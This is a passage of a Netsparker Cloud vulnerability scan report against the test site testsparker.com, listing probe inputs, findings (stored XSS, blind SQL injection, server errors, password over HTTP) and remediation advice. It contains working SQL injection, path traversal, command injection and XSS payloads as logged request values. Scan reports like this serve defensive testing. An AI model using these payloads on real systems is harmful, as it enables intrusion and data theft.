\r\n

\r\n \r\n

\r\n
\r\n

c:\\boot.ini

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

file:/boot.ini

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n '& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:06:32 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini\u0000.aspx

\r\n

\r\n 8/23/2017 8:06:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

/../../../../../../../../../../boot.ini

\r\n

\r\n 8/23/2017 8:06:31 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \"& SET /A 0xFFF9999-2 &\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

'+netsparker(0x003D81)+'

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

*/netsparker(0x003D7F);/*

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:29 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

\"& ping -n 25 127.0.0.1 &

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

body{x:expression(netsparker(0x003D7D))}

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

n;ns:expression(netsparker(0x003D7B));

\r\n

\r\n 8/23/2017 8:06:28 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:27 AM\r\n

\r\n

\r\n '+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:27 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:27 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:27 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n '||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:26 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:25 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

<%a style=x:expre/**/ssion(netsparker(0x003D79))>

\r\n

\r\n 8/23/2017 8:06:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:25 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:24 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:23 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:06:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:22 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:22 AM\r\n

\r\n

\r\n ' OR 1=1 OR '1'='1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:22 AM\r\n

\r\n

\r\n OR X='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:21 AM\r\n

\r\n

\r\n 1 OR 17-7=10\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:21 AM\r\n

\r\n

\r\n (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:20 AM\r\n

\r\n

\r\n 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:20 AM\r\n

\r\n

\r\n -1\\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))-- 1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:19 AM\r\n

\r\n

\r\n -1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:19 AM\r\n

\r\n

\r\n (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

javascript:netsparker(0x003D75)

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n '+NSFTW+'\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n ' OR 1=1 OR 'ns'='ns\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n AND 'NS='ss\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n NS\r\nNO\r\n

\r\n
\r\n

\r\n

\r\n 8/23/2017 8:06:18 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

|expr${IFS}268409241${IFS}-${IFS}2

\r\n

\r\n 8/23/2017 8:06:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:17 AM\r\n

\r\n

\r\n '\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:17 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

\">

\r\n

\r\n 8/23/2017 8:06:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

'>

\r\n

\r\n 8/23/2017 8:06:17 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

//r87.com/n/j/?0x003D6E

\r\n

\r\n 8/23/2017 8:06:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:16 AM\r\n

\r\n

\r\n NSFTW\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:16 AM\r\n

\r\n

\r\n 1 OR 1=1\r\n

\r\n
\r\n

http://www.example.com

\r\n

\r\n 8/23/2017 8:06:16 AM\r\n

\r\n

\r\n (select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)\r\n

\r\n
\r\n

//r87.com/n/j/?0x003D6D

\r\n

\r\n 8/23/2017 8:06:16 AM\r\n

\r\n

\r\n \r\n

\r\n
\r\n\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t
12
\r\n
\r\n\r\n\r\n
\r\n
\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Injection URL","Value":"http://testsparker.com/administrator/trace.axd/%22ns=%22netsparker(0x002A8D)"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified stored cross-site scripting, and confirmed this vulnerability by analyzing the execution of injected JavaScript.

Stored XSS allows an attacker to execute dynamic scripts (JavaScript, VBScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly, to steal the user's credentials. This happens because the input entered by the user has been interpreted by HTML/JavaScript/VBScript within the browser.

\"Stored\" means that the attack will be stored in the backend system. In normal XSS attacks, an attacker needs to e-mail the victim, but in a stored XSS an attacker can just execute the attack and wait for users to see the affected page. As soon as someone visits the page, the attacker's stored payload will get executed.

XSS targets the users of the application instead of the server. Although this is a limitation, since it only allows attackers to hijack other users' sessions, the attacker might attack an administrator to gain full control over the application.

","Impact":"
Stored XSS is a dangerous issue that has many exploitation vectors, some of which include:
  • User's session-sensitive information, such as cookies, can be stolen.
  • XSS can enable client-side worms, which could modify, delete or steal other users' data within the application.
  • The website can be redirected to a new location, defaced or used as a phishing site.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"

The issue occurs because the browser interprets the input as active HTML, JavaScript or VBScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML, ensure all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a whitelist. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured whitelist libraries available for many different environments; good examples of these include the OWASP Reform and Microsoft Anti cross-site scripting libraries.

","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/Help.aspx?item=%2527","Type":"InternalServerError","Name":"Internal Server Error","Severity":"Low","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /Help.aspx?item=%2527 HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Help.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"item","Type":"Querystring","Value":"%27","Vulnerable":true}]},"HttpResponse":{"StatusCode":500,"Duration":93.7609,"Content":"HTTP/1.1 500 Internal Server Error\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 3420\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:01:18 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n \r\n Runtime Error\r\n \r\n \r\n \r\n\r\n \r\n\r\n

Server Error in '/' Application.

\r\n\r\n

Runtime Error

\r\n\r\n \r\n\r\n Description: An application error occurred on the server. The current custom error settings for this application prevent the details of the application error from being viewed remotely (for security reasons). It could, however, be viewed by browsers running on the local server machine.\r\n

\r\n\r\n Details: To enable the details of this specific error message to be viewable on remote machines, please create a <customErrors> tag within a "web.config" configuration file located in the root directory of the current web application. This <customErrors> tag should then have its "mode" attribute set to "Off".

\r\n\r\n \r\n \r\n \r\n \r\n
\r\n
\r\n\r\n<!-- Web.Config Configuration File -->\r\n\r\n<configuration>\r\n    <system.web>\r\n        <customErrors mode="Off"/>\r\n    </system.web>\r\n</configuration>
\r\n\r\n
\r\n\r\n
\r\n\r\n Notes: The current error page you are seeing can be replaced by a custom error page by modifying the "defaultRedirect" attribute of the application's <customErrors> configuration tag to point to a custom error page URL.

\r\n\r\n \r\n \r\n \r\n \r\n
\r\n
\r\n\r\n<!-- Web.Config Configuration File -->\r\n\r\n<configuration>\r\n    <system.web>\r\n        <customErrors mode="RemoteOnly" defaultRedirect="mycustompage.htm"/>\r\n    </system.web>\r\n</configuration>
\r\n\r\n
\r\n\r\n
\r\n\r\n \r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified an internal server error.

The server responded with an HTTP status 500, indicating there is a server-side error. Reasons may vary, and the behavior should be analyzed carefully. If Netsparker Cloud is able to find a security issue in the same resource, it will report this as a separate vulnerability.

","Impact":"
The impact may vary depending on the condition. Generally this indicates poor coding practices, not enough error checking, sanitization and whitelisting. However, there might be a bigger issue, such as SQL injection. If that's the case, Netsparker Cloud will check for other possible issues and report them separately.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
Analyze this issue and review the application code in order to handle unexpected errors; this should be a generic practice, which does not disclose further information upon an error. All errors should be handled server-side only.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/administrator/trace.axd","Type":"ForbiddenResource","Name":"Forbidden Resource","Severity":"Information","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"","Wasc":"","Cwe":"","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"GET","Content":"GET /administrator/trace.axd HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/administrator/trace.axd\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[]},"HttpResponse":{"StatusCode":403,"Duration":96.005900000000011,"Content":"HTTP/1.1 403 Forbidden\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 2452\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:44:06 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n \r\n Trace Error\r\n \r\n \r\n \r\n\r\n \r\n\r\n

Server Error in '/' Application.

\r\n\r\n

Trace Error

\r\n\r\n \r\n\r\n Description: The current trace settings prevent trace.axd from being viewed remotely (for security reasons). It could, however, be viewed by browsers running on the local server machine.\r\n

\r\n\r\n Details: To enable trace.axd to be viewable on remote machines, please create a <trace> tag within the configuration file located in the root directory of the current web application. This <trace> tag should then have its "localOnly" attribute set to "false".

\r\n\r\n \r\n \r\n \r\n \r\n
\r\n
\r\n\r\n<configuration>\r\n    <system.web>\r\n        <trace localOnly="false"/>\r\n    </system.web>\r\n</configuration>
\r\n\r\n
\r\n\r\n
\r\n\r\n \r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a forbidden resource.

Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for informational purposes.

","Impact":"
This issue is reported as additional information only. There is no direct impact arising from this issue.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/blog/%27))%20WAITFOR%20DELAY%20%270%3a0%3a25%27--/","Type":"ConfirmedBlindSqlInjection","Name":"Blind SQL Injection","Severity":"Critical","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A1","Wasc":"19","Cwe":"89","Capec":"66","Pci31":"6.5.1","Pci32":"6.5.1","Hipaa":"164.306(a), 164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /blog/%27))%20WAITFOR%20DELAY%20%270%3a0%3a25%27--/ HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/Blogs.aspx\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"param1","Type":"UrlRewrite","Value":"')) WAITFOR DELAY '0:0:25'--","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":25104.026,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 3773\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:49:50 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

\r\n \r\n

\r\n

\r\n \r\n

\r\n

\r\n \r\n

\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud identified a blind SQL injection, which occurs when data input by a user is interpreted as an SQL command rather than as normal data by the backend database.

This is an extremely common vulnerability and its successful exploitation can have critical implications.

Netsparker Cloud confirmed the vulnerability by executing a test SQL query on the backend database. In these tests, SQL injection was not obvious, but the different responses from the page based on the injection test allowed us to identify and confirm the SQL injection.

","Impact":"
Depending on the backend database, the database connection settings, and the operating system, an attacker can mount one or more of the following attacks successfully:
  • Reading, updating and deleting arbitrary data or tables from the database
  • Executing commands on the underlying operating system
","RemedialActions":"
  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL), consider using one. This will help you centralize the issue. You can also use ORM (object relational mapping). Most of the ORM systems use only parameterized queries and this can solve the whole SQL injection problem.
  3. Locate the all dynamically generated SQL queries and convert them to parameterized queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries.)
  4. Use your weblogs and application logs to see if there were any previous but undetected attacks to this resource.
","ExploitationSkills":"
There are numerous freely available tools to exploit SQL injection vulnerabilities. This is a complex area with many dependencies; however, it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL injection is one of the most common web application vulnerabilities.
","RemedialProcedure":"
A robust method for mitigating the threat of SQL injection-based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built-in libraries for this. Wherever possible, do not create dynamic SQL queries or SQL queries with string concatenation.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/administrator/?r=%2fDashboard%2f","Type":"AutoCompleteEnabled","Name":"Autocomplete Enabled","Severity":"Low","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A5","Wasc":"15","Cwe":"16","Capec":"","Pci31":"","Pci32":"","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST /administrator/?r=%2fDashboard%2f HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/administrator/?r=/Dashboard/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 556\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n__VIEWSTATE=%2fwEPDwUJMjQ5MTUxNTk1ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkSlTVJmzWxQpjjgcqMVVrPznZFloZkrDl74MkP7dMXSU%3d&__VIEWSTATEGENERATOR=6EB33A6B&__EVENTVALIDATION=%2fwEdAATIFiQc2tmrCF%2fDbetFh3pceDHd2D5qvnLObJ6RiaxcancSlabuJS%2fj0IqtMM7pKHcarpsCdJRAceFi6R1xAF9kpS4a82opQBIhrDNwkrK04G%2fVdyd7n0L954C0VEWnLng%3d&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Email=&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Password=&ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Button1=Sign+in","Parameters":[{"Name":"r","Type":"Querystring","Value":"%2fDashboard%2f","Vulnerable":false},{"Name":"__VIEWSTATE","Type":"Post","Value":"/wEPDwUJMjQ5MTUxNTk1ZBgBBSljdGwwMCRDb250ZW50UGxhY2VIb2xkZXJOYXYkbXZMb2dpbkxvZ291dA8PZGZkSlTVJmzWxQpjjgcqMVVrPznZFloZkrDl74MkP7dMXSU=","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"6EB33A6B","Vulnerable":false},{"Name":"__EVENTVALIDATION","Type":"Post","Value":"/wEdAATIFiQc2tmrCF/DbetFh3pceDHd2D5qvnLObJ6RiaxcancSlabuJS/j0IqtMM7pKHcarpsCdJRAceFi6R1xAF9kpS4a82opQBIhrDNwkrK04G/Vdyd7n0L954C0VEWnLng=","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Email","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Password","Type":"Post","Value":"","Vulnerable":false},{"Name":"ctl00%24contentCenterMenu%24login_C_S_R_F_inLoginDetected%24Button1","Type":"Post","Value":"Sign in","Vulnerable":false}]},"HttpResponse":{"StatusCode":200,"Duration":98.4901,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 5496\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:44:39 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n \r\n\r\n

Login

\r\n
\r\n\r\n\t
(alan@turing.com)\r\n
\r\n \r\n\t\t\t\r\n\t\t\r\n\t
\r\n\t
(theturingtest)\r\n
\r\n \r\n\t
\r\n\t
\r\n\t\t
\r\n \r\n\t
\r\n
\r\n

Login Failed. Please try again.

\r\n
\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[{"Name":"Identified Field Name","Value":"ctl00$contentCenterMenu$login_C_S_R_F_inLoginDetected$Email"}],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected that autocomplete is enabled in one or more of the form fields which might contain sensitive information like \"username\", \"credit card\" or \"CVV\".

","Impact":"

If user chooses to save, data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers, such as cyber cafes or airport terminals.

","RemedialActions":"
  1. Add the attribute autocomplete=\"off\" to the form tag or to individual \"input\" fields.
  2. Find all instances of inputs that store private data and disable autocomplete. Fields which contain data such as \"Credit Card\" or \"CCV\" type data should not be cached. You can allow the application to cache usernames and remember passwords; however, in most cases this is not recommended.
  3. Re-scan the application after addressing the identified issues to ensure all of the fixes have been applied properly.
","ExploitationSkills":"
First and foremost, attacker needs either physical access or user-level code execution rights for successful exploitation. Dumping all data from a browser can be fairly easy, and a number of automated tools exist to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the autocomplete feature to see previously entered values.
","RemedialProcedure":"","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/administrator/?r=%2fDashboard%2f","Type":"PasswordOverHttp","Name":"Password Transmitted over HTTP","Severity":"Important","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A6","Wasc":"4","Cwe":"319","Capec":"65","Pci31":"6.5.4","Pci32":"6.5.4","Hipaa":""},"HttpRequest":{"Method":"POST","Content":"POST /administrator/?r=%2fDashboard%2f HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nReferer: http://testsparker.com/administrator/?r=/Dashboard/\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nExpect: 100-continue\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 556\r\nContent-Type: 